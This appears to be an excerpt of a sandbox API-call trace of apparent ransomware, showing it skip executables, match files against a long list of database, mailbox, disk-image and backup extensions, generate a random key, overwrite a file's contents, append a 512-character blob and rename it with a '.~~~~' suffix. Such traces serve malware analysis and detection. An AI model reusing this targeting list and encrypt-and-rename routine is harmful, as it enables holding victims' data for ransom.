	[0077.520] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\home_containing_gourmet.exe", lpSrch=".pif") returned 0x0
	[0077.520] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0077.520] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\home_containing_gourmet.exe", lpSrch="msp\r\n.pif") returned 0x0
	[0077.520] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\home_containing_gourmet.exe" (normalized: "c:\\program files\\common files\\home_containing_gourmet.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0077.520] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x39feb0 | out: hHeap=0x300000) returned 1
	[0077.520] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x39fe28 | out: hHeap=0x300000) returned 1
	[0077.520] RtlWakeConditionVariable () returned 0x365f70
	[0077.520] GetCurrentThreadId () returned 0x9cc
	[0077.520] GetCurrentThreadId () returned 0x9cc
	[0077.520] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x80) returned 0x39fe28
	[0077.520] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x39ff38 | out: hHeap=0x300000) returned 1
	[0077.520] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a93b0 | out: hHeap=0x300000) returned 1
	[0077.521] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x80) returned 0x39ff38
	[0077.521] lstrlenW (lpString=".scr") returned 4
	[0077.521] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\lockedseekingsuccess.exe", lpSrch=".scr") returned 0x0
	[0077.521] lstrlenW (lpString=".cmd") returned 4
	[0077.521] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\lockedseekingsuccess.exe", lpSrch=".cmd") returned 0x0
	[0077.521] lstrlenW (lpString=".dll") returned 4
	[0077.521] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\lockedseekingsuccess.exe", lpSrch=".dll") returned 0x0
	[0077.521] lstrlenW (lpString=".bat") returned 4
	[0077.521] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\lockedseekingsuccess.exe", lpSrch=".bat") returned 0x0
	[0077.521] lstrlenW (lpString=".cpl") returned 4
	[0077.521] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\lockedseekingsuccess.exe", lpSrch=".cpl") returned 0x0
	[0077.521] lstrlenW (lpString=".sys") returned 4
	[0077.521] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\lockedseekingsuccess.exe", lpSrch=".sys") returned 0x0
	[0077.521] lstrlenW (lpString=".msc") returned 4
	[0077.521] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\lockedseekingsuccess.exe", lpSrch=".msc") returned 0x0
	[0077.521] lstrlenW (lpString=".com") returned 4
	[0077.521] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\lockedseekingsuccess.exe", lpSrch=".com") returned 0x0
	[0077.521] lstrlenW (lpString=".lnk") returned 4
	[0077.521] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\lockedseekingsuccess.exe", lpSrch=".lnk") returned 0x0
	[0077.521] lstrlenW (lpString=".msp") returned 4
	[0077.521] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\lockedseekingsuccess.exe", lpSrch=".msp") returned 0x0
	[0077.521] lstrlenW (lpString=".pif") returned 4
	[0077.521] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\lockedseekingsuccess.exe", lpSrch=".pif") returned 0x0
	[0077.521] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0077.521] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\lockedseekingsuccess.exe", lpSrch="msp\r\n.pif") returned 0x0
	[0077.521] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\lockedseekingsuccess.exe" (normalized: "c:\\program files\\common files\\lockedseekingsuccess.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0077.522] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x39ff38 | out: hHeap=0x300000) returned 1
	[0077.522] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x39fe28 | out: hHeap=0x300000) returned 1
	[0077.522] RtlWakeConditionVariable () returned 0x365f70
	[0077.522] GetCurrentThreadId () returned 0x9cc
	[0077.522] GetCurrentThreadId () returned 0x9cc
	[0077.522] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3a7850
	[0077.522] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a78e8 | out: hHeap=0x300000) returned 1
	[0077.522] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a93e8 | out: hHeap=0x300000) returned 1
	[0077.522] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3a78e8
	[0077.522] lstrlenW (lpString=".scr") returned 4
	[0077.522] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\DBGHELP.DLL", lpSrch=".scr") returned 0x0
	[0077.522] lstrlenW (lpString=".cmd") returned 4
	[0077.522] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\DBGHELP.DLL", lpSrch=".cmd") returned 0x0
	[0077.522] lstrlenW (lpString=".dll") returned 4
	[0077.522] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\DBGHELP.DLL", lpSrch=".dll") returned 0x0
	[0077.522] lstrlenW (lpString=".bat") returned 4
	[0077.522] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\DBGHELP.DLL", lpSrch=".bat") returned 0x0
	[0077.522] lstrlenW (lpString=".cpl") returned 4
	[0077.522] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\DBGHELP.DLL", lpSrch=".cpl") returned 0x0
	[0077.522] lstrlenW (lpString=".sys") returned 4
	[0077.522] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\DBGHELP.DLL", lpSrch=".sys") returned 0x0
	[0077.522] lstrlenW (lpString=".msc") returned 4
	[0077.522] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\DBGHELP.DLL", lpSrch=".msc") returned 0x0
	[0077.522] lstrlenW (lpString=".com") returned 4
	[0077.522] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\DBGHELP.DLL", lpSrch=".com") returned 0x0
	[0077.522] lstrlenW (lpString=".lnk") returned 4
	[0077.522] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\DBGHELP.DLL", lpSrch=".lnk") returned 0x0
	[0077.523] lstrlenW (lpString=".msp") returned 4
	[0077.523] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\DBGHELP.DLL", lpSrch=".msp") returned 0x0
	[0077.523] lstrlenW (lpString=".pif") returned 4
	[0077.523] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\DBGHELP.DLL", lpSrch=".pif") returned 0x0
	[0077.523] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0077.523] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\DBGHELP.DLL", lpSrch="msp\r\n.pif") returned 0x0
	[0077.523] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\DBGHELP.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\dw\\dbghelp.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x134
	[0077.527] lstrlenW (lpString=".sqb") returned 4
	[0077.527] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\DBGHELP.DLL", lpSrch=".sqb") returned 0x0
	[0077.527] lstrlenW (lpString=".ost") returned 4
	[0077.527] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\DBGHELP.DLL", lpSrch=".ost") returned 0x0
	[0077.527] lstrlenW (lpString=".txt") returned 4
	[0077.528] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\DBGHELP.DLL", lpSrch=".txt") returned 0x0
	[0077.528] lstrlenW (lpString=".mdt") returned 4
	[0077.528] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\DBGHELP.DLL", lpSrch=".mdt") returned 0x0
	[0077.528] lstrlenW (lpString=".BDB") returned 4
	[0077.528] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\DBGHELP.DLL", lpSrch=".BDB") returned 0x0
	[0077.528] lstrlenW (lpString=".eql") returned 4
	[0077.528] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\DBGHELP.DLL", lpSrch=".eql") returned 0x0
	[0077.528] lstrlenW (lpString=".DBF") returned 4
	[0077.528] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\DBGHELP.DLL", lpSrch=".DBF") returned 0x0
	[0077.528] lstrlenW (lpString=".EQL") returned 4
	[0077.528] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\DBGHELP.DLL", lpSrch=".EQL") returned 0x0
	[0077.528] lstrlenW (lpString=".FDB") returned 4
	[0077.528] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\DBGHELP.DLL", lpSrch=".FDB") returned 0x0
	[0077.528] lstrlenW (lpString=".EDB") returned 4
	[0077.528] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\DBGHELP.DLL", lpSrch=".EDB") returned 0x0
	[0077.528] lstrlenW (lpString=".DACPAC") returned 7
	[0077.528] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\DBGHELP.DLL", lpSrch=".DACPAC") returned 0x0
	[0077.528] lstrlenW (lpString=".VHD") returned 4
	[0077.528] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\DBGHELP.DLL", lpSrch=".VHD") returned 0x0
	[0077.528] lstrlenW (lpString=".DBV") returned 4
	[0077.528] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\DBGHELP.DLL", lpSrch=".DBV") returned 0x0
	[0077.528] lstrlenW (lpString=".dacpac") returned 7
	[0077.528] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\DBGHELP.DLL", lpSrch=".dacpac") returned 0x0
	[0077.528] lstrlenW (lpString=".sdf") returned 4
	[0077.528] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\DBGHELP.DLL", lpSrch=".sdf") returned 0x0
	[0077.528] lstrlenW (lpString=".accdb") returned 6
	[0077.528] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\DBGHELP.DLL", lpSrch=".accdb") returned 0x0
	[0077.528] lstrlenW (lpString=".DBX") returned 4
	[0077.528] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\DBGHELP.DLL", lpSrch=".DBX") returned 0x0
	[0077.529] lstrlenW (lpString=".MDT") returned 4
	[0077.529] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\DBGHELP.DLL", lpSrch=".MDT") returned 0x0
	[0077.529] lstrlenW (lpString=".SQB") returned 4
	[0077.529] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\DBGHELP.DLL", lpSrch=".SQB") returned 0x0
	[0077.529] lstrlenW (lpString=".vhd") returned 4
	[0077.529] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\DBGHELP.DLL", lpSrch=".vhd") returned 0x0
	[0077.529] lstrlenW (lpString=".bac") returned 4
	[0077.529] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\DBGHELP.DLL", lpSrch=".bac") returned 0x0
	[0077.529] lstrlenW (lpString=".mdf") returned 4
	[0077.529] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\DBGHELP.DLL", lpSrch=".mdf") returned 0x0
	[0077.529] lstrlenW (lpString=".BAK") returned 4
	[0077.529] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\DBGHELP.DLL", lpSrch=".BAK") returned 0x0
	[0077.529] lstrlenW (lpString=".BAC") returned 4
	[0077.529] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\DBGHELP.DLL", lpSrch=".BAC") returned 0x0
	[0077.529] lstrlenW (lpString=".dbs") returned 4
	[0077.529] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\DBGHELP.DLL", lpSrch=".dbs") returned 0x0
	[0077.529] lstrlenW (lpString=".vhdx") returned 5
	[0077.529] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\DBGHELP.DLL", lpSrch=".vhdx") returned 0x0
	[0077.529] lstrlenW (lpString=".NDF") returned 4
	[0077.529] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\DBGHELP.DLL", lpSrch=".NDF") returned 0x0
	[0077.529] lstrlenW (lpString=".dat") returned 4
	[0077.529] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\DBGHELP.DLL", lpSrch=".dat") returned 0x0
	[0077.529] lstrlenW (lpString=".DBS") returned 4
	[0077.529] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\DBGHELP.DLL", lpSrch=".DBS") returned 0x0
	[0077.529] lstrlenW (lpString=".CKP") returned 4
	[0077.529] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\DBGHELP.DLL", lpSrch=".CKP") returned 0x0
	[0077.529] lstrlenW (lpString=".edb") returned 4
	[0077.529] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\DBGHELP.DLL", lpSrch=".edb") returned 0x0
	[0077.529] lstrlenW (lpString=".PST") returned 4
	[0077.530] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\DBGHELP.DLL", lpSrch=".PST") returned 0x0
	[0077.530] lstrlenW (lpString=".dbf") returned 4
	[0077.530] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\DBGHELP.DLL", lpSrch=".dbf") returned 0x0
	[0077.530] lstrlenW (lpString=".SQL") returned 4
	[0077.530] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\DBGHELP.DLL", lpSrch=".SQL") returned 0x0
	[0077.530] lstrlenW (lpString=".pst") returned 4
	[0077.530] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\DBGHELP.DLL", lpSrch=".pst") returned 0x0
	[0077.530] lstrlenW (lpString=".dbv") returned 4
	[0077.530] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\DBGHELP.DLL", lpSrch=".dbv") returned 0x0
	[0077.530] lstrlenW (lpString=".SDF") returned 4
	[0077.530] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\DBGHELP.DLL", lpSrch=".SDF") returned 0x0
	[0077.530] lstrlenW (lpString=".dtxs") returned 5
	[0077.530] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\DBGHELP.DLL", lpSrch=".dtxs") returned 0x0
	[0077.530] lstrlenW (lpString=".db3") returned 4
	[0077.530] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\DBGHELP.DLL", lpSrch=".db3") returned 0x0
	[0077.530] lstrlenW (lpString=".OST") returned 4
	[0077.530] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\DBGHELP.DLL", lpSrch=".OST") returned 0x0
	[0077.530] lstrlenW (lpString=".dbx") returned 4
	[0077.530] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\DBGHELP.DLL", lpSrch=".dbx") returned 0x0
	[0077.530] lstrlenW (lpString=".DB3") returned 4
	[0077.530] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\DBGHELP.DLL", lpSrch=".DB3") returned 0x0
	[0077.530] lstrlenW (lpString=".DAT") returned 4
	[0077.530] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\DBGHELP.DLL", lpSrch=".DAT") returned 0x0
	[0077.530] lstrlenW (lpString=".VHDX") returned 5
	[0077.530] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\DBGHELP.DLL", lpSrch=".VHDX") returned 0x0
	[0077.530] lstrlenW (lpString=".ndf") returned 4
	[0077.531] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\DBGHELP.DLL", lpSrch=".ndf") returned 0x0
	[0077.531] lstrlenW (lpString=".DB") returned 3
	[0077.531] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\DBGHELP.DLL", lpSrch=".DB") returned 0x0
	[0077.531] lstrlenW (lpString=".sql") returned 4
	[0077.531] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\DBGHELP.DLL", lpSrch=".sql") returned 0x0
	[0077.531] lstrlenW (lpString=".MYD") returned 4
	[0077.531] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\DBGHELP.DLL", lpSrch=".MYD") returned 0x0
	[0077.531] lstrlenW (lpString=".DBT") returned 4
	[0077.531] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\DBGHELP.DLL", lpSrch=".DBT") returned 0x0
	[0077.531] lstrlenW (lpString=".ACCDB") returned 6
	[0077.531] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\DBGHELP.DLL", lpSrch=".ACCDB") returned 0x0
	[0077.531] lstrlenW (lpString=".fdb") returned 4
	[0077.531] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\DBGHELP.DLL", lpSrch=".fdb") returned 0x0
	[0077.531] lstrlenW (lpString=".bak") returned 4
	[0077.531] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\DBGHELP.DLL", lpSrch=".bak") returned 0x0
	[0077.531] lstrlenW (lpString=".myd") returned 4
	[0077.531] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\DBGHELP.DLL", lpSrch=".myd") returned 0x0
	[0077.531] lstrlenW (lpString=".DTXS") returned 5
	[0077.531] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\DBGHELP.DLL", lpSrch=".DTXS") returned 0x0
	[0077.531] lstrlenW (lpString=".ckp") returned 4
	[0077.531] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\DBGHELP.DLL", lpSrch=".ckp") returned 0x0
	[0077.531] lstrlenW (lpString=".dbt") returned 4
	[0077.531] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\DBGHELP.DLL", lpSrch=".dbt") returned 0x0
	[0077.531] lstrlenW (lpString=".db") returned 3
	[0077.531] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\DBGHELP.DLL", lpSrch=".db") returned 0x0
	[0077.531] lstrlenW (lpString=".TXT") returned 4
	[0077.531] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\DBGHELP.DLL", lpSrch=".TXT") returned 0x0
	[0077.532] lstrlenW (lpString=".MDF") returned 4
	[0077.532] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\DBGHELP.DLL", lpSrch=".MDF") returned 0x0
	[0077.532] lstrlenW (lpString=".bdb") returned 4
	[0077.532] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\DBGHELP.DLL", lpSrch=".bdb") returned 0x0
	[0077.532] lstrlenW (lpString=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 58
	[0077.532] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\DBGHELP.DLL", lpSrch=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 0x0
	[0077.532] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x130) returned 0x2804338
	[0077.532] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x20) returned 0x362f90
	[0077.532] CryptAcquireContextA (in: phProv=0x26dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x26dfcdc*=0x39feb0) returned 1
	[0077.533] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362f90 | out: pbBuffer=0x362f90) returned 1
	[0077.533] CryptReleaseContext (hProv=0x39feb0, dwFlags=0x0) returned 1
	[0077.533] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362f90 | out: hHeap=0x300000) returned 1
	[0077.533] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368ba0
	[0077.533] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2802fd0
	[0077.533] QueryPerformanceCounter (in: lpPerformanceCount=0x26dfc48 | out: lpPerformanceCount=0x26dfc48*=19752342614) returned 1
	[0077.533] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x26dfc88 | out: lpSystemTimeAsFileTime=0x26dfc88*(dwLowDateTime=0x981c7590, dwHighDateTime=0x1d60e1e)) 
	[0077.533] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623a0
	[0077.533] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623c0
	[0077.534] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357128
	[0077.534] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3a9420
	[0077.534] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0077.534] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a9420 | out: hHeap=0x300000) returned 1
	[0077.534] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd148
	[0077.534] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0077.534] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3aa460
	[0077.534] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd148 | out: hHeap=0x300000) returned 1
	[0077.534] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3a77b8
	[0077.534] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3aa460 | out: hHeap=0x300000) returned 1
	[0077.534] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x26dfb18) 
	[0077.534] GetLastError () returned 0x0
	[0077.534] GetLastError () returned 0x0
	[0077.534] RtlUnwind (TargetFrame=0x26dfc20, TargetIp=0x423f9b, ExceptionRecord=0x26df5dc, ReturnValue=0x0) 
	[0077.534] GetLastError () returned 0x0
	[0077.534] GetLastError () returned 0x0
	[0077.534] ReadFile (in: hFile=0x134, lpBuffer=0x3b76e0, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x3b76e0*, lpNumberOfBytesRead=0x26dfec0*=0x19000, lpOverlapped=0x0) returned 1
	[0077.538] SetFilePointerEx (in: hFile=0x134, liDistanceToMove=0xfffe7000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0077.539] WriteFile (in: hFile=0x134, lpBuffer=0x3b76e0*, nNumberOfBytesToWrite=0x19000, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x3b76e0*, lpNumberOfBytesWritten=0x26dfec0*=0x19000, lpOverlapped=0x0) returned 1
	[0077.540] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3b76e0 | out: hHeap=0x300000) returned 1
	[0077.540] SetFilePointerEx (in: hFile=0x134, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0077.540] WriteFile (in: hFile=0x134, lpBuffer=0x368ba0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368ba0*, lpNumberOfBytesWritten=0x26dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0077.542] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0077.542] WriteFile (in: hFile=0x134, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x26dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0077.542] CloseHandle (hObject=0x134) returned 1
	[0077.542] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3a77b8
	[0077.543] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\DBGHELP.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\dw\\dbghelp.dll"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\DBGHELP.DLL.~~~~" (normalized: "c:\\program files\\common files\\microsoft shared\\dw\\dbghelp.dll.~~~~")) returned 1
	[0077.543] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a77b8 | out: hHeap=0x300000) returned 1
	[0077.543] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357128 | out: hHeap=0x300000) returned 1
	[0077.543] GetLastError () returned 0x0
	[0077.544] RtlWakeConditionVariable () returned 0x365f70
	[0077.544] GetCurrentThreadId () returned 0x9cc
	[0077.544] GetCurrentThreadId () returned 0x9cc
	[0077.544] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3a7850
	[0077.544] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a7980 | out: hHeap=0x300000) returned 1
	[0077.544] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a9458 | out: hHeap=0x300000) returned 1
	[0077.544] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3a7980
	[0077.544] lstrlenW (lpString=".scr") returned 4
	[0077.544] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\DWTRIG20.EXE", lpSrch=".scr") returned 0x0
	[0077.544] lstrlenW (lpString=".cmd") returned 4
